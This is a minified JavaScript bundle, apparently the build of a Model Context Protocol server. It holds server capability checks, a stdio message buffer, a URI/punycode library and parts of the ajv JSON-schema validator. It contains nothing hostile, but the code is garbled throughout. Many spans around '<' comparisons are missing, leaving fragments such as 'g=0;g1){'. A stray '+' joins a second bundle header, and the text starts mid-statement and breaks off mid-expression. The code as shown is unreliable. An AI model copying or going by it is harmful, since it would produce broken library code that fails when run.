0:r.call(this)}),this._capabilities.logging&&this.setRequestHandler(ka,async(r,n)=>{var l;let i=n.sessionId||((l=n.requestInfo)===null||l===void 0?void 0:l.headers["mcp-session-id"])||void 0,{level:f}=r.params,d=bt.safeParse(f);return d.success&&this._loggingLevels.set(i,d.data),{}})}registerCapabilities(e){if(this.transport)throw new Error("Cannot register capabilities after connecting to transport");this._capabilities=an(this._capabilities,e)}assertCapabilityForMethod(e){var t,s,r;switch(e){case"sampling/createMessage":if(!(!((t=this._clientCapabilities)===null||t===void 0)&&t.sampling))throw new Error(`Client does not support sampling (required for ${e})`);break;case"elicitation/create":if(!(!((s=this._clientCapabilities)===null||s===void 0)&&s.elicitation))throw new Error(`Client does not support elicitation (required for ${e})`);break;case"roots/list":if(!(!((r=this._clientCapabilities)===null||r===void 0)&&r.roots))throw new Error(`Client does not support listing roots (required for ${e})`);break;case"ping":break}}assertNotificationCapability(e){switch(e){case"notifications/message":if(!this._capabilities.logging)throw new Error(`Server does not support logging (required for ${e})`);break;case"notifications/resources/updated":case"notifications/resources/list_changed":if(!this._capabilities.resources)throw new Error(`Server does not support notifying about resources (required for ${e})`);break;case"notifications/tools/list_changed":if(!this._capabilities.tools)throw new Error(`Server does not support notifying of tool list changes (required for ${e})`);break;case"notifications/prompts/list_changed":if(!this._capabilities.prompts)throw new Error(`Server does not support notifying of prompt list changes (required for ${e})`);break;case"notifications/cancelled":break;case"notifications/progress":break}}assertRequestHandlerCapability(e){switch(e){case"sampling/createMessage":if(!this._capabilities.sampling)throw new Error(`Server does not support sampling (required for ${e})`);break;case"logging/setLevel":if(!this._capabilities.logging)throw new Error(`Server does not support logging (required for ${e})`);break;case"prompts/get":case"prompts/list":if(!this._capabilities.prompts)throw new Error(`Server does not support prompts (required for ${e})`);break;case"resources/list":case"resources/templates/list":case"resources/read":if(!this._capabilities.resources)throw new Error(`Server does not support resources (required for ${e})`);break;case"tools/call":case"tools/list":if(!this._capabilities.tools)throw new Error(`Server does not support tools (required for ${e})`);break;case"ping":case"initialize":break}}async _oninitialize(e){let t=e.params.protocolVersion;return this._clientCapabilities=e.params.capabilities,this._clientVersion=e.params.clientInfo,{protocolVersion:Ms.includes(t)?t:xa,capabilities:this.getCapabilities(),serverInfo:this._serverInfo,...this._instructions&&{instructions:this._instructions}}}getClientCapabilities(){return this._clientCapabilities}getClientVersion(){return this._clientVersion}getCapabilities(){return this._capabilities}async ping(){return this.request({method:"ping"},Lt)}async createMessage(e,t){return this.request({method:"sampling/createMessage",params:e},Na,t)}async elicitInput(e,t){let s=await this.request({method:"elicitation/create",params:e},ja,t);if(s.action==="accept"&&s.content)try{let r=new io.default,n=r.compile(e.requestedSchema);if(!n(s.content))throw new Ke(Ze.InvalidParams,`Elicitation response content does not match requested schema: ${r.errorsText(n.errors)}`)}catch(r){throw r instanceof Ke?r:new Ke(Ze.InternalError,`Error validating elicitation response: ${r}`)}return s}async listRoots(e,t){return this.request({method:"roots/list",params:e},La,t)}async sendLoggingMessage(e,t){if(this._capabilities.logging&&!this.isMessageIgnored(e.level,t))return this.notification({method:"notifications/message",params:e})}async sendResourceUpdated(e){return this.notification({method:"notifications/resources/updated",params:e})}async sendResourceListChanged(){return this.notification({method:"notifications/resources/list_changed"})}async sendToolListChanged(){return this.notification({method:"notifications/tools/list_changed"})}async sendPromptListChanged(){return this.notification({method:"notifications/prompts/list_changed"})}};var ls=Ea(require("node:process"),1);var ca=class{append(e){this._buffer=this._buffer?Buffer.concat([this._buffer,e]):e}readMessage(){if(!this._buffer)return null;let e=this._buffer.indexOf(` +"use strict";var Uo=Object.create;var _a=Object.defineProperty;var Vo=Object.getOwnPropertyDescriptor;var Ho=Object.getOwnPropertyNames;var zo=Object.getPrototypeOf,Wo=Object.prototype.hasOwnProperty;var B=(a,e)=>()=>(e||a((e={exports:{}}).exports,e),e.exports),Bo=(a,e)=>{for(var t in e)_a(a,t,{get:e[t],enumerable:!0})},Qo=(a,e,t,s)=>{if(e&&typeof e=="object"||typeof e=="function")for(let r of Ho(e))!Wo.call(a,r)&&r!==t&&_a(a,r,{get:()=>e[r],enumerable:!(s=Vo(e,r))||s.enumerable});return a};var Ea=(a,e,t)=>(t=a!=null?Uo(zo(a)):{},Qo(e||!a||!a.__esModule?_a(t,"default",{value:a,enumerable:!0}):t,a));var nn=B((zt,sn)=>{(function(a,e){typeof zt=="object"&&typeof sn<"u"?e(zt):typeof define=="function"&&define.amd?define(["exports"],e):e(a.URI=a.URI||{})})(zt,(function(a){"use strict";function e(){for(var p=arguments.length,u=Array(p),g=0;g1){u[0]=u[0].slice(0,-1);for(var S=u.length-1,b=1;b= 0x80 (not a basic code point)","invalid-input":"Invalid input"},A=c-y,q=Math.floor,F=String.fromCharCode;function L(p){throw new RangeError(M[p])}function O(p,u){for(var g=[],S=p.length;S--;)g[S]=u(p[S]);return g}function C(p,u){var g=p.split("@"),S="";g.length>1&&(S=g[0]+"@",p=g[1]),p=p.replace(V,".");var b=p.split("."),N=O(b,u).join(".");return S+N}function j(p){for(var u=[],g=0,S=p.length;g=55296&&b<=56319&&g>1,u+=q(u/g);u>A*_>>1;b+=c)u=q(u/A);return q(b+(A+1)*u/(u+v))},H=function(u){var g=[],S=u.length,b=0,N=x,Z=T,re=u.lastIndexOf(R);re<0&&(re=0);for(var ne=0;ne=128&&L("not-basic"),g.push(u.charCodeAt(ne));for(var ye=re>0?re+1:0;ye=S&&L("invalid-input");var ce=J(u.charCodeAt(ye++));(ce>=c||ce>q((E-b)/ue))&&L("overflow"),b+=ce*ue;var ae=_e<=Z?y:_e>=Z+_?_:_e-Z;if(ceq(E/de)&&L("overflow"),ue*=de}var oe=g.length+1;Z=G(b-ee,oe,ee==0),q(b/oe)>E-N&&L("overflow"),N+=q(b/oe),b%=oe,g.splice(b++,0,N)}return String.fromCodePoint.apply(String,g)},fe=function(u){var g=[];u=j(u);var S=u.length,b=x,N=0,Z=T,re=!0,ne=!1,ye=void 0;try{for(var ee=u[Symbol.iterator](),ue;!(re=(ue=ee.next()).done);re=!0){var _e=ue.value;_e<128&&g.push(F(_e))}}catch(Tr){ne=!0,ye=Tr}finally{try{!re&&ee.return&&ee.return()}finally{if(ne)throw ye}}var ce=g.length,ae=ce;for(ce&&g.push(R);ae=b&&Leq((E-N)/Me)&&L("overflow"),N+=(de-b)*Me,b=de;var Xe=!0,Rr=!1,ir=void 0;try{for(var dt=u[Symbol.iterator](),Tt;!(Xe=(Tt=dt.next()).done);Xe=!0){var Ot=Tt.value;if(OtE&&L("overflow"),Ot==b){for(var Qr=N,Zr=c;;Zr+=c){var or=Zr<=Z?y:Zr>=Z+_?_:Zr-Z;if(Qr>6|192).toString(16).toUpperCase()+"%"+(u&63|128).toString(16).toUpperCase():g="%"+(u>>12|224).toString(16).toUpperCase()+"%"+(u>>6&63|128).toString(16).toUpperCase()+"%"+(u&63|128).toString(16).toUpperCase(),g}function Oe(p){for(var u="",g=0,S=p.length;g=194&&b<224){if(S-g>=6){var N=parseInt(p.substr(g+4,2),16);u+=String.fromCharCode((b&31)<<6|N&63)}else u+=p.substr(g,6);g+=6}else if(b>=224){if(S-g>=9){var Z=parseInt(p.substr(g+4,2),16),re=parseInt(p.substr(g+7,2),16);u+=String.fromCharCode((b&15)<<12|(Z&63)<<6|re&63)}else u+=p.substr(g,9);g+=9}else u+=p.substr(g,3),g+=3}return u}function hr(p,u){function g(S){var b=Oe(S);return b.match(u.UNRESERVED)?b:S}return p.scheme&&(p.scheme=String(p.scheme).replace(u.PCT_ENCODED,g).toLowerCase().replace(u.NOT_SCHEME,"")),p.userinfo!==void 0&&(p.userinfo=String(p.userinfo).replace(u.PCT_ENCODED,g).replace(u.NOT_USERINFO,Ee).replace(u.PCT_ENCODED,r)),p.host!==void 0&&(p.host=String(p.host).replace(u.PCT_ENCODED,g).toLowerCase().replace(u.NOT_HOST,Ee).replace(u.PCT_ENCODED,r)),p.path!==void 0&&(p.path=String(p.path).replace(u.PCT_ENCODED,g).replace(p.scheme?u.NOT_PATH:u.NOT_PATH_NOSCHEME,Ee).replace(u.PCT_ENCODED,r)),p.query!==void 0&&(p.query=String(p.query).replace(u.PCT_ENCODED,g).replace(u.NOT_QUERY,Ee).replace(u.PCT_ENCODED,r)),p.fragment!==void 0&&(p.fragment=String(p.fragment).replace(u.PCT_ENCODED,g).replace(u.NOT_FRAGMENT,Ee).replace(u.PCT_ENCODED,r)),p}function sr(p){return p.replace(/^0*(.*)/,"$1")||"0"}function ge(p,u){var g=p.match(u.IPV4ADDRESS)||[],S=h(g,2),b=S[1];return b?b.split(".").map(sr).join("."):p}function he(p,u){var g=p.match(u.IPV6ADDRESS)||[],S=h(g,3),b=S[1],N=S[2];if(b){for(var Z=b.toLowerCase().split("::").reverse(),re=h(Z,2),ne=re[0],ye=re[1],ee=ye?ye.split(":").map(sr):[],ue=ne.split(":").map(sr),_e=u.IPV4ADDRESS.test(ue[ue.length-1]),ce=_e?7:8,ae=ue.length-ce,de=Array(ce),oe=0;oe1){var le=de.slice(0,Ne.index),Le=de.slice(Ne.index+Ne.length);Fe=le.join(":")+"::"+Le.join(":")}else Fe=de.join(":");return N&&(Fe+="%"+N),Fe}else return p}var br=/^(?:([^:\/?#]+):)?(?:\/\/((?:([^\/?#@]*)@)?(\[[^\/?#\]]+\]|[^\/?#:]*)(?:\:(\d*))?))?([^?#]*)(?:\?([^#]*))?(?:#((?:.|\n|\r)*))?/i,xe="".match(/(){0}/)[1]===void 0;function se(p){var u=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},g={},S=u.iri!==!1?d:f;u.reference==="suffix"&&(p=(u.scheme?u.scheme+":":"")+"//"+p);var b=p.match(br);if(b){xe?(g.scheme=b[1],g.userinfo=b[3],g.host=b[4],g.port=parseInt(b[5],10),g.path=b[6]||"",g.query=b[7],g.fragment=b[8],isNaN(g.port)&&(g.port=b[5])):(g.scheme=b[1]||void 0,g.userinfo=p.indexOf("@")!==-1?b[3]:void 0,g.host=p.indexOf("//")!==-1?b[4]:void 0,g.port=parseInt(b[5],10),g.path=b[6]||"",g.query=p.indexOf("?")!==-1?b[7]:void 0,g.fragment=p.indexOf("#")!==-1?b[8]:void 0,isNaN(g.port)&&(g.port=p.match(/\/\/(?:.|\n)*\:(?:\/|\?|\#|$)/)?b[4]:void 0)),g.host&&(g.host=he(ge(g.host,S),S)),g.scheme===void 0&&g.userinfo===void 0&&g.host===void 0&&g.port===void 0&&!g.path&&g.query===void 0?g.reference="same-document":g.scheme===void 0?g.reference="relative":g.fragment===void 0?g.reference="absolute":g.reference="uri",u.reference&&u.reference!=="suffix"&&u.reference!==g.reference&&(g.error=g.error||"URI is not a "+u.reference+" reference.");var N=ve[(u.scheme||g.scheme||"").toLowerCase()];if(!u.unicodeSupport&&(!N||!N.unicodeSupport)){if(g.host&&(u.domainHost||N&&N.domainHost))try{g.host=te.toASCII(g.host.replace(S.PCT_ENCODED,Oe).toLowerCase())}catch(Z){g.error=g.error||"Host's domain name can not be converted to ASCII via punycode: "+Z}hr(g,f)}else hr(g,S);N&&N.parse&&N.parse(g,u)}else g.error=g.error||"URI can not be parsed.";return g}function pr(p,u){var g=u.iri!==!1?d:f,S=[];return p.userinfo!==void 0&&(S.push(p.userinfo),S.push("@")),p.host!==void 0&&S.push(he(ge(String(p.host),g),g).replace(g.IPV6ADDRESS,function(b,N,Z){return"["+N+(Z?"%25"+Z:"")+"]"})),(typeof p.port=="number"||typeof p.port=="string")&&(S.push(":"),S.push(String(p.port))),S.length?S.join(""):void 0}var nr=/^\.\.?\//,Pr=/^\/\.(\/|$)/,xr=/^\/\.\.(\/|$)/,Se=/^\/?(?:.|\n)*?(?=\/|$)/;function je(p){for(var u=[];p.length;)if(p.match(nr))p=p.replace(nr,"");else if(p.match(Pr))p=p.replace(Pr,"/");else if(p.match(xr))p=p.replace(xr,"/"),u.pop();else if(p==="."||p==="..")p="";else{var g=p.match(Se);if(g){var S=g[0];p=p.slice(S.length),u.push(S)}else throw new Error("Unexpected dot segment condition")}return u.join("")}function $e(p){var u=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},g=u.iri?d:f,S=[],b=ve[(u.scheme||p.scheme||"").toLowerCase()];if(b&&b.serialize&&b.serialize(p,u),p.host&&!g.IPV6ADDRESS.test(p.host)){if(u.domainHost||b&&b.domainHost)try{p.host=u.iri?te.toUnicode(p.host):te.toASCII(p.host.replace(g.PCT_ENCODED,Oe).toLowerCase())}catch(re){p.error=p.error||"Host's domain name can not be converted to "+(u.iri?"Unicode":"ASCII")+" via punycode: "+re}}hr(p,g),u.reference!=="suffix"&&p.scheme&&(S.push(p.scheme),S.push(":"));var N=pr(p,u);if(N!==void 0&&(u.reference!=="suffix"&&S.push("//"),S.push(N),p.path&&p.path.charAt(0)!=="/"&&S.push("/")),p.path!==void 0){var Z=p.path;!u.absolutePath&&(!b||!b.absolutePath)&&(Z=je(Z)),N===void 0&&(Z=Z.replace(/^\/\//,"/%2F")),S.push(Z)}return p.query!==void 0&&(S.push("?"),S.push(p.query)),p.fragment!==void 0&&(S.push("#"),S.push(p.fragment)),S.join("")}function Ie(p,u){var g=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},S=arguments[3],b={};return S||(p=se($e(p,g),g),u=se($e(u,g),g)),g=g||{},!g.tolerant&&u.scheme?(b.scheme=u.scheme,b.userinfo=u.userinfo,b.host=u.host,b.port=u.port,b.path=je(u.path||""),b.query=u.query):(u.userinfo!==void 0||u.host!==void 0||u.port!==void 0?(b.userinfo=u.userinfo,b.host=u.host,b.port=u.port,b.path=je(u.path||""),b.query=u.query):(u.path?(u.path.charAt(0)==="/"?b.path=je(u.path):((p.userinfo!==void 0||p.host!==void 0||p.port!==void 0)&&!p.path?b.path="/"+u.path:p.path?b.path=p.path.slice(0,p.path.lastIndexOf("/")+1)+u.path:b.path=u.path,b.path=je(b.path)),b.query=u.query):(b.path=p.path,u.query!==void 0?b.query=u.query:b.query=p.query),b.userinfo=p.userinfo,b.host=p.host,b.port=p.port),b.scheme=p.scheme),b.fragment=u.fragment,b}function Je(p,u,g){var S=l({scheme:"null"},g);return $e(Ie(se(p,S),se(u,S),S,!0),S)}function ke(p,u){return typeof p=="string"?p=$e(se(p,u),u):s(p)==="object"&&(p=se($e(p,u),u)),p}function Rt(p,u,g){return typeof p=="string"?p=$e(se(p,g),g):s(p)==="object"&&(p=$e(p,g)),typeof u=="string"?u=$e(se(u,g),g):s(u)==="object"&&(u=$e(u,g)),p===u}function ma(p,u){return p&&p.toString().replace(!u||!u.iri?f.ESCAPE:d.ESCAPE,Ee)}function Be(p,u){return p&&p.toString().replace(!u||!u.iri?f.PCT_ENCODED:d.PCT_ENCODED,Oe)}var ct={scheme:"http",domainHost:!0,parse:function(u,g){return u.host||(u.error=u.error||"HTTP URIs must have a host."),u},serialize:function(u,g){var S=String(u.scheme).toLowerCase()==="https";return(u.port===(S?443:80)||u.port==="")&&(u.port=void 0),u.path||(u.path="/"),u}},vs={scheme:"https",domainHost:ct.domainHost,parse:ct.parse,serialize:ct.serialize};function gs(p){return typeof p.secure=="boolean"?p.secure:String(p.scheme).toLowerCase()==="wss"}var ut={scheme:"ws",domainHost:!0,parse:function(u,g){var S=u;return S.secure=gs(S),S.resourceName=(S.path||"/")+(S.query?"?"+S.query:""),S.path=void 0,S.query=void 0,S},serialize:function(u,g){if((u.port===(gs(u)?443:80)||u.port==="")&&(u.port=void 0),typeof u.secure=="boolean"&&(u.scheme=u.secure?"wss":"ws",u.secure=void 0),u.resourceName){var S=u.resourceName.split("?"),b=h(S,2),N=b[0],Z=b[1];u.path=N&&N!=="/"?N:void 0,u.query=Z,u.resourceName=void 0}return u.fragment=void 0,u}},ys={scheme:"wss",domainHost:ut.domainHost,parse:ut.parse,serialize:ut.serialize},bo={},Po=!0,_s="[A-Za-z0-9\\-\\.\\_\\~"+(Po?"\\xA0-\\u200D\\u2010-\\u2029\\u202F-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF":"")+"]",Ye="[0-9A-Fa-f]",xo=t(t("%[EFef]"+Ye+"%"+Ye+Ye+"%"+Ye+Ye)+"|"+t("%[89A-Fa-f]"+Ye+"%"+Ye+Ye)+"|"+t("%"+Ye+Ye)),wo="[A-Za-z0-9\\!\\$\\%\\'\\*\\+\\-\\^\\_\\`\\{\\|\\}\\~]",Ro="[\\!\\$\\%\\'\\(\\)\\*\\+\\,\\-\\.0-9\\<\\>A-Z\\x5E-\\x7E]",To=e(Ro,'[\\"\\\\]'),Oo="[\\!\\$\\'\\(\\)\\*\\+\\,\\;\\:\\@]",Io=new RegExp(_s,"g"),Br=new RegExp(xo,"g"),$o=new RegExp(e("[^]",wo,"[\\.]",'[\\"]',To),"g"),Es=new RegExp(e("[^]",_s,Oo),"g"),Ao=Es;function va(p){var u=Oe(p);return u.match(Io)?u:p}var Ss={scheme:"mailto",parse:function(u,g){var S=u,b=S.to=S.path?S.path.split(","):[];if(S.path=void 0,S.query){for(var N=!1,Z={},re=S.query.split("&"),ne=0,ye=re.length;ne{"use strict";on.exports=function a(e,t){if(e===t)return!0;if(e&&t&&typeof e=="object"&&typeof t=="object"){if(e.constructor!==t.constructor)return!1;var s,r,n;if(Array.isArray(e)){if(s=e.length,s!=t.length)return!1;for(r=s;r--!==0;)if(!a(e[r],t[r]))return!1;return!0}if(e.constructor===RegExp)return e.source===t.source&&e.flags===t.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===t.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===t.toString();if(n=Object.keys(e),s=n.length,s!==Object.keys(t).length)return!1;for(r=s;r--!==0;)if(!Object.prototype.hasOwnProperty.call(t,n[r]))return!1;for(r=s;r--!==0;){var l=n[r];if(!a(e[l],t[l]))return!1}return!0}return e!==e&&t!==t}});var cn=B((kf,ln)=>{"use strict";ln.exports=function(e){for(var t=0,s=e.length,r=0,n;r=55296&&n<=56319&&r{"use strict";fn.exports={copy:eu,checkDataType:Fa,checkDataTypes:ru,coerceToTypes:tu,toHash:qa,getProperty:Ua,escapeQuotes:Va,equal:Wt(),ucs2length:cn(),varOccurences:nu,varReplace:iu,schemaHasRules:ou,schemaHasRulesExcept:lu,schemaUnknownRules:cu,toQuotedString:Ma,getPathExpr:uu,getPath:du,getData:pu,unescapeFragment:mu,unescapeJsonPointer:za,escapeFragment:vu,escapeJsonPointer:Ha};function eu(a,e){e=e||{};for(var t in a)e[t]=a[t];return e}function Fa(a,e,t,s){var r=s?" !== ":" === ",n=s?" || ":" && ",l=s?"!":"",i=s?"":"!";switch(a){case"null":return e+r+"null";case"array":return l+"Array.isArray("+e+")";case"object":return"("+l+e+n+"typeof "+e+r+'"object"'+n+i+"Array.isArray("+e+"))";case"integer":return"(typeof "+e+r+'"number"'+n+i+"("+e+" % 1)"+n+e+r+e+(t?n+l+"isFinite("+e+")":"")+")";case"number":return"(typeof "+e+r+'"'+a+'"'+(t?n+l+"isFinite("+e+")":"")+")";default:return"typeof "+e+r+'"'+a+'"'}}function ru(a,e,t){switch(a.length){case 1:return Fa(a[0],e,t,!0);default:var s="",r=qa(a);r.array&&r.object&&(s=r.null?"(":"(!"+e+" || ",s+="typeof "+e+' !== "object")',delete r.null,delete r.array,delete r.object),r.number&&delete r.integer;for(var n in r)s+=(s?" && ":"")+Fa(n,e,t,!0);return s}}var un=qa(["string","number","integer","boolean","null"]);function tu(a,e){if(Array.isArray(e)){for(var t=[],s=0;s=e)throw new Error("Cannot access property/index "+s+" levels up, current level is "+e);return t[e-s]}if(s>e)throw new Error("Cannot access data "+s+" levels up, current level is "+e);if(n="data"+(e-s||""),!r)return n}for(var i=n,f=r.split("/"),d=0;d{"use strict";var gu=zr();hn.exports=yu;function yu(a){gu.copy(a,this)}});var mn=B((jf,pn)=>{"use strict";var _r=pn.exports=function(a,e,t){typeof e=="function"&&(t=e,e={}),t=e.cb||t;var s=typeof t=="function"?t:t.pre||function(){},r=t.post||function(){};Bt(e,s,r,a,"",a)};_r.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0};_r.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0};_r.propsKeywords={definitions:!0,properties:!0,patternProperties:!0,dependencies:!0};_r.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function Bt(a,e,t,s,r,n,l,i,f,d){if(s&&typeof s=="object"&&!Array.isArray(s)){e(s,r,n,l,i,f,d);for(var h in s){var m=s[h];if(Array.isArray(m)){if(h in _r.arrayKeywords)for(var E=0;E{"use strict";var Pt=nn(),vn=Wt(),Gt=zr(),Qt=Wa(),Eu=mn();_n.exports=Sr;Sr.normalizeId=Er;Sr.fullPath=Zt;Sr.url=Kt;Sr.ids=wu;Sr.inlineRef=Ba;Sr.schema=Jt;function Sr(a,e,t){var s=this._refs[t];if(typeof s=="string")if(this._refs[s])s=this._refs[s];else return Sr.call(this,a,e,s);if(s=s||this._schemas[t],s instanceof Qt)return Ba(s.schema,this._opts.inlineRefs)?s.schema:s.validate||this._compile(s);var r=Jt.call(this,e,t),n,l,i;return r&&(n=r.schema,e=r.root,i=r.baseId),n instanceof Qt?l=n.validate||a.call(this,n.schema,e,void 0,i):n!==void 0&&(l=Ba(n,this._opts.inlineRefs)?n:a.call(this,n,e,void 0,i)),l}function Jt(a,e){var t=Pt.parse(e),s=yn(t),r=Zt(this._getId(a.schema));if(Object.keys(a.schema).length===0||s!==r){var n=Er(s),l=this._refs[n];if(typeof l=="string")return Su.call(this,a,l,t);if(l instanceof Qt)l.validate||this._compile(l),a=l;else if(l=this._schemas[n],l instanceof Qt){if(l.validate||this._compile(l),n==Er(e))return{schema:l,root:a,baseId:r};a=l}else return;if(!a.schema)return;r=Zt(this._getId(a.schema))}return gn.call(this,t,r,a.schema,a)}function Su(a,e,t){var s=Jt.call(this,a,e);if(s){var r=s.schema,n=s.baseId;a=s.root;var l=this._getId(r);return l&&(n=Kt(n,l)),gn.call(this,t,n,r,a)}}var bu=Gt.toHash(["properties","patternProperties","enum","dependencies","definitions"]);function gn(a,e,t,s){if(a.fragment=a.fragment||"",a.fragment.slice(0,1)=="/"){for(var r=a.fragment.split("/"),n=1;n{"use strict";var Ka=Yt();Sn.exports={Validation:En(Ru),MissingRef:En(Ga)};function Ru(a){this.message="validation failed",this.errors=a,this.ajv=this.validation=!0}Ga.message=function(a,e){return"can't resolve reference "+e+" from id "+a};function Ga(a,e,t){this.message=t||Ga.message(a,e),this.missingRef=Ka.url(a,e),this.missingSchema=Ka.normalizeId(Ka.fullPath(this.missingRef))}function En(a){return a.prototype=Object.create(Error.prototype),a.prototype.constructor=a,a}});var Ja=B((qf,bn)=>{"use strict";bn.exports=function(a,e){e||(e={}),typeof e=="function"&&(e={cmp:e});var t=typeof e.cycles=="boolean"?e.cycles:!1,s=e.cmp&&(function(n){return function(l){return function(i,f){var d={key:i,value:l[i]},h={key:f,value:l[f]};return n(d,h)}}})(e.cmp),r=[];return(function n(l){if(l&&l.toJSON&&typeof l.toJSON=="function"&&(l=l.toJSON()),l!==void 0){if(typeof l=="number")return isFinite(l)?""+l:"null";if(typeof l!="object")return JSON.stringify(l);var i,f;if(Array.isArray(l)){for(f="[",i=0;i{"use strict";Pn.exports=function(e,t,s){var r="",n=e.schema.$async===!0,l=e.util.schemaHasRulesExcept(e.schema,e.RULES.all,"$ref"),i=e.self._getId(e.schema);if(e.opts.strictKeywords){var f=e.util.schemaUnknownRules(e.schema,e.RULES.keywords);if(f){var d="unknown keyword: "+f;if(e.opts.strictKeywords==="log")e.logger.warn(d);else throw new Error(d)}}if(e.isTop&&(r+=" var validate = ",n&&(e.async=!0,r+="async "),r+="function(data, dataPath, parentData, parentDataProperty, rootData) { 'use strict'; ",i&&(e.opts.sourceCode||e.opts.processCode)&&(r+=" "+("/*# sourceURL="+i+" */")+" ")),typeof e.schema=="boolean"||!(l||e.schema.$ref)){var t="false schema",h=e.level,m=e.dataLevel,E=e.schema[t],c=e.schemaPath+e.util.getProperty(t),y=e.errSchemaPath+"/"+t,I=!e.opts.allErrors,M,_="data"+(m||""),R="valid"+h;if(e.schema===!1){e.isTop?I=!0:r+=" var "+R+" = false; ";var v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(M||"false schema")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(y)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'boolean schema is false' "),e.opts.verbose&&(r+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+_+" "),r+=" } "):r+=" {} ";var P=r;r=v.pop(),!e.compositeRule&&I?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; "}else e.isTop?n?r+=" return data; ":r+=" validate.errors = null; return true; ":r+=" var "+R+" = true; ";return e.isTop&&(r+=" }; return validate; "),r}if(e.isTop){var T=e.isTop,h=e.level=0,m=e.dataLevel=0,_="data";if(e.rootId=e.resolve.fullPath(e.self._getId(e.root.schema)),e.baseId=e.baseId||e.rootId,delete e.isTop,e.dataPathArr=[""],e.schema.default!==void 0&&e.opts.useDefaults&&e.opts.strictDefaults){var x="default is ignored in the schema root";if(e.opts.strictDefaults==="log")e.logger.warn(x);else throw new Error(x)}r+=" var vErrors = null; ",r+=" var errors = 0; ",r+=" if (rootData === undefined) rootData = data; "}else{var h=e.level,m=e.dataLevel,_="data"+(m||"");if(i&&(e.baseId=e.resolve.url(e.baseId,i)),n&&!e.async)throw new Error("async schema in sync schema");r+=" var errs_"+h+" = errors;"}var R="valid"+h,I=!e.opts.allErrors,$="",V="",M,A=e.schema.type,q=Array.isArray(A);if(A&&e.opts.nullable&&e.schema.nullable===!0&&(q?A.indexOf("null")==-1&&(A=A.concat("null")):A!="null"&&(A=[A,"null"],q=!0)),q&&A.length==1&&(A=A[0],q=!1),e.schema.$ref&&l){if(e.opts.extendRefs=="fail")throw new Error('$ref: validation keywords used in schema at path "'+e.errSchemaPath+'" (see option extendRefs)');e.opts.extendRefs!==!0&&(l=!1,e.logger.warn('$ref: keywords ignored in schema at path "'+e.errSchemaPath+'"'))}if(e.schema.$comment&&e.opts.$comment&&(r+=" "+e.RULES.all.$comment.code(e,"$comment")),A){if(e.opts.coerceTypes)var F=e.util.coerceToTypes(e.opts.coerceTypes,A);var L=e.RULES.types[A];if(F||q||L===!0||L&&!Se(L)){var c=e.schemaPath+".type",y=e.errSchemaPath+"/type",c=e.schemaPath+".type",y=e.errSchemaPath+"/type",O=q?"checkDataTypes":"checkDataType";if(r+=" if ("+e.util[O](A,_,e.opts.strictNumbers,!0)+") { ",F){var C="dataType"+h,j="coerced"+h;r+=" var "+C+" = typeof "+_+"; var "+j+" = undefined; ",e.opts.coerceTypes=="array"&&(r+=" if ("+C+" == 'object' && Array.isArray("+_+") && "+_+".length == 1) { "+_+" = "+_+"[0]; "+C+" = typeof "+_+"; if ("+e.util.checkDataType(e.schema.type,_,e.opts.strictNumbers)+") "+j+" = "+_+"; } "),r+=" if ("+j+" !== undefined) ; ";var ie=F;if(ie)for(var J,X=-1,G=ie.length-1;X{"use strict";var ea=Yt(),ta=zr(),wn=Xt(),Tu=Ja(),xn=Ya(),Ou=ta.ucs2length,Iu=Wt(),$u=wn.Validation;Tn.exports=Xa;function Xa(a,e,t,s){var r=this,n=this._opts,l=[void 0],i={},f=[],d={},h=[],m={},E=[];e=e||{schema:a,refVal:l,refs:i};var c=Au.call(this,a,e,s),y=this._compilations[c.index];if(c.compiling)return y.callValidate=x;var _=this._formats,v=this.RULES;try{var P=R(a,e,t,s);y.validate=P;var T=y.callValidate;return T&&(T.schema=P.schema,T.errors=null,T.refs=P.refs,T.refVal=P.refVal,T.root=P.root,T.$async=P.$async,n.sourceCode&&(T.source=P.source)),P}finally{Cu.call(this,a,e,s)}function x(){var O=y.validate,C=O.apply(this,arguments);return x.errors=O.errors,C}function R(O,C,j,ie){var J=!C||C&&C.schema==O;if(C.schema!=e.schema)return Xa.call(r,O,C,j,ie);var X=O.$async===!0,G=xn({isTop:!0,schema:O,isRoot:J,baseId:ie,root:C,schemaPath:"",errSchemaPath:"#",errorPath:'""',MissingRefError:wn.MissingRef,RULES:v,validate:xn,util:ta,resolve:ea,resolveRef:I,usePattern:q,useDefault:F,useCustomRule:L,opts:n,formats:_,logger:r.logger,self:r});G=ra(l,Nu)+ra(f,Du)+ra(h,ku)+ra(E,Lu)+G,n.processCode&&(G=n.processCode(G,O));var H;try{var fe=new Function("self","RULES","formats","root","refVal","defaults","customRules","equal","ucs2length","ValidationError",G);H=fe(r,v,_,e,l,h,E,Iu,Ou,$u),l[0]=H}catch(Pe){throw r.logger.error("Error compiling schema, function code:",G),Pe}return H.schema=O,H.errors=null,H.refs=i,H.refVal=l,H.root=J?H:C,X&&(H.$async=!0),n.sourceCode===!0&&(H.source={code:G,patterns:f,defaults:h}),H}function I(O,C,j){C=ea.url(O,C);var ie=i[C],J,X;if(ie!==void 0)return J=l[ie],X="refVal["+ie+"]",A(J,X);if(!j&&e.refs){var G=e.refs[C];if(G!==void 0)return J=e.refVal[G],X=$(C,J),A(J,X)}X=$(C);var H=ea.call(r,R,e,C);if(H===void 0){var fe=t&&t[C];fe&&(H=ea.inlineRef(fe,n.inlineRefs)?fe:Xa.call(r,fe,e,t,O))}if(H===void 